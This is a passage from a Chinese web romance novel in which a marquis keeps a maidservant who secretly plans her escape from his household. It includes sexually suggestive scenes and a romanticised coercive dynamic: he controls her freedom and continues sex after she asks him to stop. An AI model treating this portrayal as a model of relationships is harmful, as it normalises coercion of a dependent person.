而姨娘则简单得多,入通房丫鬟 的地位略高一些。 故而民间有传闻说,侧夫人是半个正室。 裴铉以为自己可谓诚意满满,整个盛安城内都没几个像他这般,未娶妻先纳侧夫人的。 宁泠听了却是如坠冰窖,心底生寒。 被官府登记在册,仍她有三头六臂恐怕也插翅难逃。 “还不开心吗?”裴铉靠近宁泠,揽住她的肩膀,“这下总不怕我会忘了你了。” 昨日她们的对话,他历历在目。 宁泠最担心的不过是未来受辱,他便扫除这些,让她安心无忧地好好待在侯府。 “其实让侯爷永远记得奴婢,是一件很简单的事情,不必如此麻烦。”宁泠难得笑了笑,顾盼生辉甚美。 见她肯给自己几分好脸色,裴铉笑着挑眉道:“宁泠有什么好办法?” 当然是以牙还牙,宁泠却不明说,只问道:“端看侯爷愿不愿意。” 第42章 第42章【VIP】 裴铉漆黑的眼眸沉了几分:“若说离开侯府,想都不要想。” 她心心念念都想出府,昨夜用激将法他看出来了。 宁泠眉眼生动地笑笑,伏在他肩头乖顺说道:“侯爷都肯给我侧夫人之位了,奴婢也不是不知好歹之人。” 裴铉那肯主动放她出府,但她又不是出气筒,不可能白白忍下这两巴掌。 见对他的冷漠无视溶解消散,裴铉唇角上翘,语气温和了些:“那是什么办法?” 宁泠撒娇似地窝在他怀里,语调调皮:“先说好,我说了不论你是否答应,你都不能生气。” 裴铉见她还愿意亲近自己,心情也好了几分:“你说。” “侯爷害奴婢冰天雪地浣洗了几个月衣服。”宁泠声音带着幽怨,一点点给他分析,“昨儿更是逼得奴婢生生挨了两巴掌,说一点怨气都没,那是骗人的。但侯爷愿意让我做侧夫人,奴婢心里又甜蜜蜜的,可是此举无异于当众打了未来夫人的脸面,奴婢以后定是她的眼中钉,此事需从长再议。” “然后呢?”裴铉的剑眉蹙了几分,她说得话在理。但她可怜兮兮说了一堆,必定还有后话。 宁泠的手轻轻抚上裴铉的脸:“侯爷若肯让我扇一巴掌出气,从此以后我心里绝无半点怨恨了,死心塌地伺候侯爷。” 他裴铉不是擅长打一巴掌给一个甜枣,喜欢训狗吗?她宁泠也可以学,只是虽然不宜和他硬碰硬,她可以撒娇卖乖。 不出意外,裴铉的脸色阴沉了几分,面色冷峻。 从小到大,他何曾受过此辱。老师教功课学得不好,也是打手心。 小时候闯下大祸,最多也是请家法甩鞭子,纵使皮开肉绽,也绝无可能伤脸。 “说好了不生气的。”宁泠抚摸他的手放了下来,声音也淡了几分,“是奴婢不分尊卑,口出狂言了。” 她又恢复成冷若寒霜,面色冷漠的样子。 “除了这样,其他都可以商量。”裴铉语气生硬。 宁泠又继续绣花,声音淡薄:“能让侯爷永远不忘记奴婢的方法,恕奴婢愚钝,还真想不到其他更好的。” 小时候村里的朋友玩耍,大些的孩童仗着优势霸凌欺负宁泠。 她哭得稀里哗啦,去找娘亲告状,可是娘亲告诉她。 想要不被欺负,只有靠自己。 不论别人有多厉害,他敢打她一拳,虽然明知自己不可能打赢,也要狠狠咬一口。 让别人知道,她不是好欺负的,欺负了她必定会付出代价。 他裴铉凭空无故污蔑她两回,她不可能好脾气地再服软。 见她铁了心,裴铉脸色也不好看,袖子一甩,怒气冲冲出去。 宁泠端坐在榻上绣花,眼神都没抬一眼。 书房里林韦德老实地研磨,不动声色地觑了眼自家主子。 宁泠的事情,他很快就得了消息。 后来珍珠的嚎啕大哭,嗓门大得很。 又很快让人明白了来龙去脉。 看侯爷的脸色,估计没把人哄好。 不过这才是意料之中,打碎花瓶一事宁泠都能挺直背脊,傲骨铮铮去浣衣局。 更别说逼得宁泠扇了自己两巴掌。 裴铉书案上写着奏请侧夫人的文书,只草草写了个开头,笔就悬在手上,迟迟不曾再落。 他不在乎什么先纳妾,后面亲事不顺,授人口柄。 但宁泠说得眼中钉,肉中刺是事实,而且看宁泠那态度,估计真请封了侧夫人也不会多看他一眼。 他心烦地把笔一扔,墨迹迅速污了文书。 “听说前阵子宁姑娘要了打赏剩下的金瓜子。”一旁的林韦德出声。 “嗯。” 见侯爷没有打断,林韦德继续:“盛安城过年时候,许多大户人家都会将金子熔铸成各类可爱的小动物,或是各种花骨朵儿,颇讨小姑娘欢心。” 这些是他做金花生,金瓜子时看见的。 不少小姑娘还会点名要何种花,然后编制成手链装饰。 宁泠难得主动讨要什么东西,应该是很喜欢这些小巧精致的东西。 裴铉面露沉思,林韦德又添把火:“是否需要下属去置办?” 只晓片刻,还是一声“嗯。” 次日紫叶双手费力地捧着木盒到了偏房,进屋后先是看了宁泠脸上的伤,已经完全消失了。 宁泠以为她带来了什么膏药之类,客气说道:“我脸上的伤已经好全了,麻烦姐姐费心了。” 紫叶将木盒搁在宁泠面前的红漆木桌上,接着分别打开。 两盒金灿灿的黄金分别熔铸为动物和花。 动物包含十二生肖,还有其他可爱的猫、仓鼠等等,都活灵活现,十分乖巧可爱,憨态可掬。 花包括二十四花信,朵朵都精致漂亮,栩栩如生。 “侯爷知你喜爱这些东西,特意令人去做的。”紫叶意有所指,“我跟了侯爷许久,可不曾见过他对谁如此。” 说难听些,奴婢下人冤枉了就冤枉了,打死了便打死了。 主子何曾将他们这些人生死荣辱放在眼里。 “多谢侯爷。”宁泠礼貌一笑,多的却不在肯多说。 紫叶见宁泠不想与她多说,她也不好厚着脸皮待在这里。 但话里话外的意思,让她伤好了就去上值。 宁泠明白地点点头,她知都是裴铉的授意。 当天下午裴铉下值的时候,就见宁泠老实待在室内等他。 她面带微笑,恭敬地递来干净湿润的手帕给裴铉净手。 “多谢侯爷赏赐奴婢东西。”她行着标准的礼仪。 任谁看了都挑不出一丝一毫的错误,可总有几分皮笑肉不笑的冷漠感。 晚上的时候,她予取予给的模样。 不论裴铉提出什么要求,那怕平日她不愿的方式。 宁泠都面带微笑,毕恭毕敬地满足。 裴铉与她说话,她句句有回应,又偏偏字字冷淡。 裴铉嬉皮笑脸地逗她,她也仍由他处置。 他心里憋了一腔怒火,失了几分分寸。 她吃痛似地本能闪躲了下,恭恭敬敬地回来,咬紧牙关不肯发出一丝声响。 “宁泠,你执意如此?”裴铉眼眸凌厉,心里憋闷得很。 宁泠恭顺地跪下:“侯爷,是奴婢哪里做得不对吗?” 一拳头打在棉花上的无力感。 裴铉那点旖旎心思瞬间烟消云散,兴致缺缺去沐浴。 等他回来时,宁泠早已不见了身影,应该自觉回了偏殿。 往复几天都是,无形的寒冰覆在两人关系之间。 裴铉时常一副笑脸盈盈的人,这几日都面若阴云覆盖,戾气绕身。 宁泠依旧不管不顾地继续,恭敬有余,亲近不足。 又一夜过后,裴铉有力的肩膀直接抱着宁泠去沐浴。 一人用的浴桶容纳两人,显得狭窄逼仄。 “还要生气到什么时候?”裴铉捏着她柔软的脸蛋。 她的声音还带着余潮的娇媚:“奴婢没有。” 又开始口是心非了。 许多没听见她用娇弱的语调与他说话,现在都是冷冰冰不近人情的模样。 裴铉竟贪心地还想多听几句:“要以牙还牙,以眼还眼才肯善罢甘休?” “奴婢不敢。”宁泠清了清嗓门,又恢复成无情的模样。 “从小到大,还没人敢对我扇巴掌。”裴铉试图对宁泠讲道理。 宁泠认同地点点头:“是奴婢异想天开了。” 这句话戳到了裴铉的伤口,他闭口 不言。 他将宁泠抱回榻上,见她要起身穿鞋离开。 他从身后搂住她:“今晚待在这儿。” 宁泠倒没与他争辩,又顺从地躺了回去,紧阖双眼。 宁泠不冷不热地伺候裴铉,心里琢磨着离开的办法。 今日下值后,裴铉倏地将人赶了出去。 室内静悄悄地只剩下她和裴铉,宁泠猜不透裴铉又要发什么疯。 不过她照旧循规蹈矩地伺候他。 听见他冷不丁地说:“明日后日休沐。” 宁泠不知他为何说这些,恭顺答道:“侯爷可以好好休息几天。” “带你出去玩玩?”裴铉回想那日宁泠挺开心的,“咱们去一品楼吃酥蜜饼,刚烤好的热乎乎,香甜酥脆。” 宁泠摇摇头:“奴婢待在府里挺好。” 说不想出去是假的,可为了点蝇头小利服软,变成软骨头不值得。 裴铉身姿欣长,他俯首与宁泠身高持平,眼眸对视:“真要打我出气才肯罢休?” 宁泠默了默,接着回答:“不敢。” 外面的大门被人紧紧闭上,只有余辉照射在地砖上。 红霞色的光线,给人蒙上一层光晕。 裴铉乖乖闭上眼睛,语气随意:“那你打吧。” 室内有一瞬间的寂静,接着宁泠用不亚于那天的力气狠狠扇了一巴掌。 她出手果断,没有半分留情。 扇得她手掌心都火辣辣的,轻轻颤抖。 但竟没见裴铉嘴角出血,许是他皮糙肉厚的原因,但他那张俊脸看起来细皮嫩肉的。 宁泠怀疑地看了几眼,百思不得其解。 火燎燎的剧痛传来,裴铉薄薄的眼皮微抖。 还真没想到宁泠如此能狠下心,一点都不手软。 他缓缓睁开眼,见宁泠嘴角上扬,嗓音软甜:“侯爷待奴婢可真好,奴婢永生永世都难以忘记了。” 打一个巴掌给个甜枣,训狗她也会。 她凑近一步,面露心疼问道:“侯爷可有药膏?奴婢帮你上药。” “还称奴婢?”裴铉撩她一眼。 宁泠唇瓣清凉地在他被打的地方落下一吻:“是宁泠,是我,侯爷肯如此好好待我,我以后也会好好待侯爷的。” 隐隐作痛的伤口缓解了几分,似乎这巴掌还划算。 裴铉的嘴角愉悦地上勾几分,问道:“开心了?消气了?” 其实她说能永远忘不掉,还真是事实。 他裴铉能永远,清晰地记得这一巴掌。 “嗯。”宁泠疼惜地轻摸伤口,“药在哪?” 她不会蠢到头地去问一句疼不疼。 裴铉并不着急,深情的桃花眼望着她:“怎么不问我疼不疼?” 宁泠的手现在还是灼热的,她笑了笑道:“恩怨两清,宁泠以后一颗心都是侯爷的,不会再计较之前的事情了。” 她笑得灵动,眼眸葳蕤潋滟。 几日的火气既憋在心上,也憋在身上。 裴铉迫不及待抱着她放下素青色的罗帐,温热的吻密密麻麻落下。 宁泠怕痒地闪躲,低柔道:“脸要上药。” “现在我检查下,这颗心是不是都是我的。”裴铉来势汹汹。 宁泠还欲开口说话,但最后都泯入濡湿的舌尖。 直到晚上,宁泠才昏昏涨涨地醒来。 烛火已经点起,室内烛火通明,亮如白昼。 “真能睡。”裴铉看向她,“不是说帮我上药?” 那张白皙的俊脸上浮现着一道鲜红的巴掌印。 宁泠准备起身去他上药,双腿刚要落地,却虚弱无力,腰肢处也是酸胀得很。 裴铉看好戏地半挑眉:“难不成是哄我的?” 宁泠幽怨可怜地看他一眼,裴铉拿着准备好的药盒靠近她。 宁泠轻轻为他上药,听见他嘶的一声。 心里暗骂活该。 “你可真狠心。”裴铉不咸不淡地看着宁泠。 恨不得一只手能使出全身力,扇晕他。 宁泠温柔地在他脸颊上吹气,哀怨道:“侯爷冤枉我时,我可比这疼上千分万分呢。” 裴铉没再回话,命人送了吃食进来,丫鬟们将东西放在桌子上就离开。 吃完洗漱用的物件,也是如此。 宁泠看着心情不错的裴铉,想离开回偏房却被他阻止。 只好继续留在这里陪他。 刚睡了一觉,她还睡不着询问裴铉:“能不能让珍珠,将我屋里那方没绣完的手帕拿过来。” “这么晚了,拿过来作甚?”见宁泠似乎想要继续绣,他神情不赞同道:“夜晚刺绣对眼睛不好,明日再绣吧。” 宁泠百无聊赖:“天天无事可做,也只有这样打发时间了。” 每日就是读书认字,简单的字认得差不多了,然后还有练字。 练字是长年累月的事情,急于一时也没用。 她想去帮忙干活,打发时间,旁人又害怕。 “下次休沐带你去一品楼,吃酥蜜饼。”裴铉摸了摸自己的脸。 许多才能出门一次,聊胜于无。 裴铉瞧出她的不开心,回想着城内贵妇人们的生活。 正室要执掌中馈,打理府里府外的田地产、人情往来。 有了孩子,还要操心照顾孩子。 闲暇时间似乎爱去寺庙烧香拜佛,裴铉向来不信这些鬼神之道。 放宁泠一个人出去,他不放心。 “不若我请个戏班子回来,你无事可去听戏打发时间。”裴铉思虑后回答。 “好。” 有总比没有好。 第二天裴铉还是没有出门,日日与宁泠厮混。 宁泠四肢无力得很,那厮却神采奕奕。 看着她不中用的样子,他脸上浮现出不正经的笑:“你不是挨了两巴掌?若肯再来一回,等会我便再让你打一巴掌。” 宁泠眼眸闪过丝诧异,暗想究竟是色字头上一把刀,还是打脸,脑子却坏了。 “不想报仇了?”裴铉笑脸盈盈问道。 当初宁泠只打他一巴掌,不是不想,只是怕彻底惹怒他。 宁泠咬牙道:“好。” 送上门讨打的事情,她必定要成全。 一回过后,宁泠喘气连连,全身上下的力气都被抽干了。 裴铉惬意地倚在床头看她,接着主动将脸凑近。 “打吧。”声音带着似乎还很满足。 宁泠绝不心软,用力狠狠一扇。 奈何她身子酸软无力,脸上的痕迹还不如昨日的深。 裴铉捉住她轻颤泛红的手,在手心轻轻一吻。 “现在心满意足了?”他眉眼带笑。 宁泠看着那道掌印,暗恨自己没用。 到上值那日时,他和宁泠脸上的巴掌印都全部消失了。 “找个戏班子到府里来。”裴铉出门对着林韦德吩咐,“再搜索些新奇玩意送过来,话本子就不必了。” “是。”林韦德看了一眼裴铉,见他神清气爽。 似乎已经哄好了宁泠,一扫之前阴霾,也不知用了什么办法。 林韦德办事很靠谱,下午戏班子就进了门。 宁泠就带着珍珠去园子里听戏,台上咿咿呀呀唱着戏。 她却在思考怎么离开侯府。 台上唱着花木兰替父从军。 宁泠不敢兴趣,珍珠倒是连连鼓掌。 “姐姐,花木兰女扮男装真像。”珍珠眉飞色舞,“顶着她爹的名字,神不知鬼不觉进了军营,还没人发现。” 宁泠剥橘子的手一顿,心里默默重复着珍珠的话,顶着他爹的名字,神不知鬼不觉出去。 她恍然大悟地一笑,裴铉决不会让宁泠出府。 但若是顶着别人的身份出去呢? 花木兰须男扮女装掩人耳目,她也要寻个相像的人才能混出去。 白天光线明亮 ,一眼就能看穿。 晚上夜色昏暗不易被察觉,最好还是一堆人一起出去,来不及细细查看。 可裴铉晚上向来不轻易放过她,而且她一个人如何不显踪迹地出争晖院,也是难题。 不过至少这件事情有了眉目,宁泠开心地拔下一支宝石簪子打赏。 晚上时分,裴铉回来见宁泠面色红润,眉目带笑。 “今日的戏唱得好吗?”裴铉明知故问。 宁泠点点头,戏怎么样她不关心,可解决了她一大困扰。 裴铉冷哼一声,但脸上并无愠怒,只是颇有点阴阳怪气:“若不好,也不会拔了发簪打赏。” 宁泠噗嗤笑出声,娇娇地看着他:“侯爷是吃醋了?” 裴铉没说是与不是。 宁泠给他倒了一杯温水,做出请罪姿态:“打赏的是花木兰替父从军的戏,是位女子。” 裴铉接过水杯:“算你还有些分寸。” 他知晓宁泠手里没银钱,拿不出打赏的东西,此事无可厚非,但心里仍有点芥蒂。 宁泠按捺着脾性,一连听了几天戏。 连珍珠都不乐意去了,撅着小嘴道:“姐姐,我都听烦了。” 谁家日日去听戏啊,而且只有一个戏班子,翻来翻去就那几出戏。 宁泠也不喜欢听,可那日她才打赏了人,后脚裴铉就知晓了。 身边必定有人紧跟着,她想进行下一步计划,必须要会装。 带到裴铉下值后,宁泠安静地在书房为他磨墨。 裴铉时不时与林韦德交谈两句,但宁泠都十分安静。 待裴铉处理完问题,林韦德离开后,宁泠一副欲言又止的模样。 他问道:“怎么了?” “我也不知此事是否合规矩,侯爷听了不准生气罚人。”宁泠忧心忡忡的模样。 为了推进计划,宁泠有意示弱。 “你连扇我巴掌的话都说得出口,还能真动手打。”裴铉将手里狼毫笔沾墨,悠哉悠哉问道:“还怕什么?” 宁泠假意犹豫后说道:“戏班子听腻了,侯爷能否换点什么?” “你想看什么?皮影戏?还是歌舞乐曲?”裴铉顺着她的话问下去。 宁泠担心要求太明确,暴露意图,顺从道:“都可以,侯爷愿意为我花心思,我就很开心了。” 裴铉狐疑地抬了抬眼皮,发现宁泠自从扇了他巴掌出气后,嘴里的甜言蜜语是一筐接着一筐,恨不得将他泡在蜜罐里。 是真的恩怨两清,要好好和他过日子了? 裴铉脸上多了几分笑意:“我请个几个女先生进府,教你品茶插花,制香书画可好?” 以后她是他的侧夫人,不指望她样样精通,但也不能一问三不知,。 而且盛安城人多口杂,他裴铉为博美人一笑,天天找这些下九流进府,成何体统。 宁泠面露难色:“我资质不够,怕是很难学会。” 她想要裴铉去教坊请舞姬乐人进府,女子众多,总有几个和她身形相仿的。 “打发时间而已。”裴铉只当宁泠怕学不好。 为了不打草惊蛇,宁泠只好点头。 裴铉直接请了四位女先生回来,听说都享誉盛安城,许多大户人家都排着队等。 刚请回来,裴铉就有点后悔了。 宁泠好学,日日刻苦。 到了晚上她累得一沾锦被就睡,刚开始几天还好,可忍了几天他实在按捺不住了,却仍他如何撩拨,她都没反应。 裴铉早上起身准备上值的时候,宁泠睡眼惺忪地睁开眼,赶紧跟着起身穿衣洗漱。 她每日早上和下午的时间都被沾满了,要上不同的课,晚上还要写大字。 “我让紫叶去给孙先生请个假,你好好睡。”裴铉的脸色算不上好看。 宁泠慌里慌张地穿鞋:“请假干什么?我又没生病?” 女先生都是花了银子重金聘来的,旁人想学都没机会。 她若是学得好,出去也能做女先生。 隐姓埋名缩在大户人家里,既安全又月银颇高。 裴铉不好再多说什么,只让紫叶去和女先生们商量,每逢他休沐时不用上课。 终于等到了他休沐时,抱着心心念念的人儿。 “侯爷,上次你说带我去一品楼吃酥蜜饼,明天可以去吗?”宁泠看了看裴铉脸色,感觉不太好又补充道:“不方便就算了。” 宁泠脸上洋溢着开心,几个女先生都夸了她,尤其制香的廖先生。 “当然要去。”裴铉不好食言,只有咬牙认了。 看着一门心思扑在学业上的宁泠,他觉得不能再这样下去。 “这些东西学太多也无用。”裴铉上下其手,“只选一两门打发时间,消磨日子就成。” 宁泠还指望当女先生,面色不太赞同。 “上次不还想看些有趣好玩的吗?”裴铉冠冕堂皇,循循诱之“而且近日你早起晚睡刻苦得很,长此以往对身体不好,不若留下一门喜欢的再找些放松的?” “那就留下制香。”宁泠状若思考,“能请些女伶人入府,看看歌舞,听听乐曲吗?” 制香这门课她另有用处,能不能逃出侯府还要靠它。 第43章 第43章【VIP】 裴铉把玩着宁泠纤细手腕的玉镯:“当然可以找些伶人进府,但前脚戏班子出门,后脚舞姬乐人上门,朝廷上的那群老东西会说我玩物丧志,骄奢淫逸。明日我先带你去教坊看看,再寻个合适时机让她们来,如何?” 他还想以后奏请宁泠当侧夫人,不能行事太过。 请些女伶人比戏班好,戏班里有男有女。 “一切以侯爷为重。”宁泠赞同地点点头,又附在他耳畔轻言细语道:“外面白天行人众多,人多口杂。可以待天色昏暗戌时,让她们从后门不点火把进来,旁人还以为是日常送货的。” 裴铉听见她如此为自己考虑,浑身舒坦。 因为明天要出门游玩,裴铉不敢折腾她太过。 因着连日来马不停蹄地上课,晚上又陪裴铉厮混一次,宁泠睡得很沉。 清晨时分的太阳已经升起,温暖刺眼的光束穿透罗帐。 宁泠嘤咛一声,翻身覆眼赖床地滚向床榻里。 裴铉按按眉心,他许久都未曾起这般晚了,有她在身边倒睡得香甜。 他捏着她似婴儿般柔滑的脸颊,看她恬静温柔的面容。 “还不起?”裴铉拍了拍她背后,“太阳都出来了。” 宁泠只觉他像只蚊虫般嗡嗡个不停,将锦被往上扯动,打算将脑袋捂进去。 裴铉修长的手指拉住被子,制止她的动作:“你还想不想去吃酥蜜饼?” 宁泠似乎又睡着了,早起的男人蠢蠢欲动,使坏地贴着她后背蹭顶。 迷迷糊糊的宁泠顿感后背有灼热的棍棒,烙着后背不舒服。 她朝后伸手想要挪开他,五指并拢握住了他。 裴铉的呼吸一滞,宁泠还毫无察觉地用力一扯。 痛得裴铉轻嘶一声,接着一字一句,暗含危险道:“宁、泠!” 宁泠才发现手里的东西挪不开,仿佛紧实生长在那。 又听见他声音不对劲,吓得立马睁开眼眸。 她耳根泛红地看着自己作乱的手,赶紧松手:“我不是故意的。” 见他脸色不好,她声音小小故作关心道:“没事吧?” 实际心里巴不得他从此一蹶不振。 裴铉掀开被子起身:“放心,没坏。” 起床的时辰晚了,两人连早饭都没吃就出发了。 刚好去一品楼吃午饭,宁泠说今日天气好,可以走路慢慢逛逛。 裴铉没拒绝,林韦德跟在两人身后。 温暖却不灼人的阳光撒在大地,外面的街道干净又热闹。 被关在侯府许多的宁泠,此刻蹦蹦跳跳地走在路上。 她眉眼弯弯,笑语嫣然,发现两人没有跟上她。 宁泠笑着回头催促:“侯爷,快点呀。 ” 和煦的光打在她脸上明媚可爱,裴铉跳动的心快了一拍。 他眉眼染了笑意,加快几步:“来了。” 林韦德看了自家主子一眼,落后一步跟上。 昨夜林韦德就订好一品楼的上好包厢,几人径直上楼。 依旧所有甜食都点了,接待的管家记忆过人,笑着问道:“侯爷,再加些补汤不?” 裴铉看了眼宁泠的气色,这些日子她在侯府养着不错。 气色红润,脸颊处还有点可爱的婴儿肥。 “不必了。”裴铉拒绝了,天气热起来了,滋补之物吃多了上火,却无处泄火。 吃完饭,林韦德带路去盛安城内最大的教坊。 因为今日天热,所以宁泠没有带帷帽,跟在裴铉身后进去。 一进去就被带进了包厢,里面不似酒楼声音嘈杂。 四周跪坐着一排排乐工正在弹奏,中央是个巨大的舞台,精心布置,很是奢华。 包厢的观看位置绝佳,一切尽收眼底。 裴铉坐在一旁喝茶,对这些并不感兴趣,去赴宴都看腻了。 宁泠兴致高昂地坐在窗柩边,聚精会神地看着外面。 但她看的不是歌舞表演,而是在寻找个与自己身形相仿的人,以求能偷梁换柱。 “喜欢哪支舞曲?”裴铉慢悠悠品茶问道。 宁泠摇摇头:“都喜欢,感觉又都差点。” “你还眼光颇高呢。”裴铉笑着调侃她。 宁泠还是一脸认真地看着歌舞表演,一场表演结束,下一场立马跟上。 倏地宁泠眼睛一亮,发现里面有个舞姬与她身高体型相似。 甚至于眉眼之间也有点相似,但不多。 “我觉得这支舞曲甚好。”宁泠开心地回头指给裴铉看。 裴铉看了眼林韦德,林韦德立刻会意下去安排。 不消片刻他就回来禀报:“侯爷定下了,半个月后就可以安排进府。” 裴铉点点头。 眼下是下午时分,裴铉看了眼天色问道:“还有什么想玩的地方吗?” 反正都出府了,带她玩个痛快。 宁泠开心回答:“我想买些胭脂类的小玩意,侯爷愿意陪我去吗?” 就算裴铉不问,她也会主动提出。 “好,你想去哪家?”裴铉不懂这些东西。 宁泠思考后面对林韦德问道:“林大人,你还记得我们第一次去的那家店吗?” 裴铉锐利的视线落在林韦德强壮的身躯上。 林韦德眼神闪躲了下:“记得。” “好。”宁泠对着裴铉笑笑,“那家的口脂很好,可惜上次我银子不够没买。” 裴铉似乎有些不情愿:“侯府里的口脂不好?” “外面的东西新奇些。”宁泠忽地靠近裴铉,低声与他说悄悄话:“侯爷,你不是也很喜欢那天的口脂吗?” 裴铉好看的眼眸微眯,回想着一下。 他第一次带着她出门去见裴书伦,回来时她嘴上擦了口脂。 粉嫩娇艳,他没忍住。 他轻声笑了下:“那日的口脂是很不错。” 宁泠对胭脂首饰并不是真的感兴趣,但她想知晓从教坊去那家店的路线。 她要记住从歌舞教坊到宅子的路线。 约莫走了半个多时辰,路上裴铉还问道:“坐马车?” 宁泠点点头:“天天待在府里不走动,今日刚好多走走。” 想想她那娇弱不经事的身体,裴铉也觉得可以多锻炼下身子。 到了那家店,宁泠望了眼两人,上次林韦德是在门外等着她。 裴铉潇洒一笑,抬脚进入:“傻站在那干什么。” 宁泠跟着进去,林韦德守在外面。 妆容精致的店主见俊朗的郎君进门先是一愣,又见他身后跟着位漂亮的女子。 “小娘子需要看些什么?”她热情招待。 “试试口脂。”宁泠回答。 店主将宁泠领到一处摆满瓶瓶罐罐的木桌处,桌上还放着一面巨大的铜镜。 她先观察了下宁泠的肤色,挑选出几款适合她的口脂,再细心地用干净的工具盛了出来,动作轻柔地为宁泠试色。 宁泠老实坐在木凳上等她上色,听店主轻声道:“这款口脂颜色柔和,适合夏日里搭配些清新的衣裙。” 宁泠点点头,看看铜镜又看看裴铉。 店主轻柔为她擦去,又接着上另外一款口脂:“这款颜色重些,过节赴宴时涂会很适合。” 宁泠也比较满意,此后店主一连为她试了几款。 裴铉比在教坊时坐得端坐,眉眼认真地看着宁泠。 “姑娘喜欢哪款?”店主上完后问道。 宁泠面露难色,她觉得好像都挺好看的,一时间难以取舍。 而且她身上没有银子,还是要裴铉说了算。 她求助似地望向裴铉,眸色如水:“夫君,觉得哪款好看?” 有外人在,她不好喊他侯爷,又不知叫什么合适,羞怯地胡乱称呼。 说完后就耳根泛红,不好意思地低头。 裴铉唇角上扬:“都喜欢,那就都包起来。” 宁泠不太满意地娇嗔一眼,必定是他都没有看。 裴铉看穿她的心思,面露沉思接着说道:“黛红色有些老气,这款就不要了,可好?” 宁泠点点头,店主笑着将东西都包好。 林韦德进来结账拎在手里。 “还有想去的地方没?”出了门裴铉问道。 今日的计划已经完成,宁泠逛了一天有些乏了。 她摇摇头:“我们回府吧。” 太阳西沉,春季傍晚时分吹来的风带着凉意。 林韦德去租了俩马车,几人乘坐马车回府。 用过晚饭后,裴铉在书案上处理堆积的公务,今日忙着出去玩了,宁泠的大字还没写完。 她坐在为她准备另一侧小书案处,专心致志地书写。 裴铉眼眸盯着书案上摆放的文书,心里却在回味宁泠那声娇滴滴的夫君。 他第一次听见有人叫他夫君,而是出自宁泠那张不服软的嘴。 宁泠写完大字,抬眸去看裴铉,准备让他批改大字。 见他眼眸暗涌,深不见底地看着她。 宁泠又垂下头,感觉现在时机不好。 “低头干什么?”裴铉率先出声,“写完了给我检查。” 话说到这儿了,宁泠只好起身拿起大字靠近。 “啧。”裴铉面露不满,“还是和鸡爪一个样。” 宁泠听了心里不太舒服,虽然写得的确不怎么好看,可也没那么夸张。 “大字写得不怎么样。”裴铉在书案处挑出了一本书,“再检查下你字认得如何?” 宁泠接过书卷,没打开之前她还是信心满满的,之前她给珍珠读话本子,鲜少有不认识的字。 打开后她圆圆的眼眸倏地睁大,黝黑地像颗黑葡萄。 她满脸难以置信地往后翻了几页,整篇都是些晦涩难懂的生僻字。 “学艺不精啊?”裴铉揶揄道。 宁泠声音委屈:“你故意的。” “念!”裴铉将人搂至怀里,不安分的手到处捣乱。 宁泠素白的手拿着书卷,断断续续读出来。 缱绻旖旎的暧昧气氛渐起,室内回荡着宁泠轻柔的读书声,还裴铉濡湿的亲吻声。 他温热的唇畔含着她小巧的耳垂,宁泠身躯轻颤。 读着读着时不时传来几声娇。喘。 “不准停。”裴铉惩罚似的用牙轻轻磨着耳垂的软肉,“继续读!” 宁泠手上的书都快拿不稳。 后来她强忍着酸胀感,泪眼婆娑一字一字读着。裴铉背靠椅背,姿态放松,眼神晦暗地看着她。 每读错一字,每漏一字。 裴铉顶一下,宁泠步摇晃动。 宁泠实在受不了了,服软低头:“不要这样 ,好不好?” 裴铉却不饶她,看她哭得梨花带雨,好不可怜。 看她眼尾胭红,声音娇弱。 裴铉恻隐之心微动:“那你说你心悦于我?” 从她这张小嘴叫出来的夫君,甜蜜蜜的。 若是亲口说出心悦于他,一想到这些,裴铉有些控制不住了。 宁泠头脑发昏,只想快点结束:“侯爷,我” “叫夫君。”裴铉面色不悦地打断。 宁泠小声地一遍遍唤道:“夫君、夫君” 第二天宁泠猛地起身,只觉全身散架,四肢酸痛。 裴铉早没了身影。 她急急忙忙准备穿衣,外面珍珠听见响动进屋。 “姐姐,再睡会吧。”珍珠无意间瞥见她白皙脖颈处暗红的痕迹,尴尬地低头。 侯爷起来时,特意吩咐了让宁泠多睡会。 “我上午还有课呢。”宁泠神色着急,现在肯定迟了。 珍珠赶紧提醒:“以后姐姐只需下午上两个时辰的制香课。” 宁泠才忽然想起,她只留下了制香课。 她还有些乏力,又躺了回去:“那我再睡会。” “好。”珍珠贴心地放下罗帐,遮挡光线。 下午时分,宁泠准时去上廖先生的制香课。 廖先生是位约莫二十多岁的女子,性情温和。 宁泠手脚麻利地用石杵研磨香料,她在旁讲解道:“不同香材对研磨程度要求各有不同。部分香料例如树脂类的,还需提前用酒或者水等不同液体浸泡软化。” 宁泠认真地点点头。 近日来宁泠都在研磨香料,廖先生见她这些都掌握了。 她又开始讲解香料的配方:“配方每改变添加一味,功效也大为改变。添加薄荷有醒神清凉之效,添加茉莉花有安神助眠功能” 宁泠心神微动,她苦学制香,就是为了这一刻。 “廖先生,我们何时开始制香?”宁泠求知若渴地问道。 “明日起,我亲自带你开始调配制香。”廖先生笑着回答。 寻常姑娘们,大多偏爱琴棋书画,第一步处理研磨香料就坚持不下去。 宁泠不同,踏踏实实按照要求去做。 此后的时间里,宁泠虚心地向廖先生请教各种问题。 廖先生对她夸赞连连。 青州和田玉的事情有了新的进展,裴铉又开始早出晚归。 他回来时吵醒了宁泠。 见她神情困倦,还执意起身伺候他洗漱,裴铉心底有暖意流过。 “我听廖先生说了。”他摸摸她的脸,“夸你是可造之材,天赋异禀呢。” “侯爷还没用过我制得香。”宁泠将干净的手帕递给他擦手,“能以后房里香炉的香粉都由我制吗?还能剩下一大笔银子。” “你倒会勤俭持家。”裴铉搂着她上塌,“都听你的。” 裴铉想着自己近日来忙碌,不好日日晚上吵醒她。 “这几日晚上你在偏房好好睡,不必起来伺候我。”裴亲吻她的额头。 “好。” 次日下午,宁泠虚心请教道:“廖先生,可否教我制作些缓解疲劳,安神静气的香粉。” 一般制作香粉香饼都是由易到难,每日课程都是廖先生安排好的。 “侯爷近来公务繁忙,我想让他轻松些。”宁泠面带害羞地低下头。 廖先生点点头,在府里居住了这么久,也清楚宁泠的身份。 她在脑海里搜罗出几种香,建议道:“制作柏子养心香如何,它较之其他会简单些,而且香味清淡,适宜男子。” “好,咱们就制作沉香。”宁泠道。 接着在廖先生的指教下,宁泠开始制作。 “对,柏子仁要捣碎成粗粒。”见她完成一步,廖先生又开始教她下一步,“甘松、檀香要研磨成细粉。” 宁泠全神贯注地制作,双手使劲发力。 今日早早忙完回来的裴铉,远远站在一旁看着,并不上前打扰。 宁泠做完后廖先生检查了下,发现不错。 她夸赞道:“你学制香时间尚短,能做成这样很不错了,接下来静待它阴干就成。” 宁泠开心地擦擦额头的汗。 此时裴铉缓步走过来,笑问道:“今日制得是什么香?” 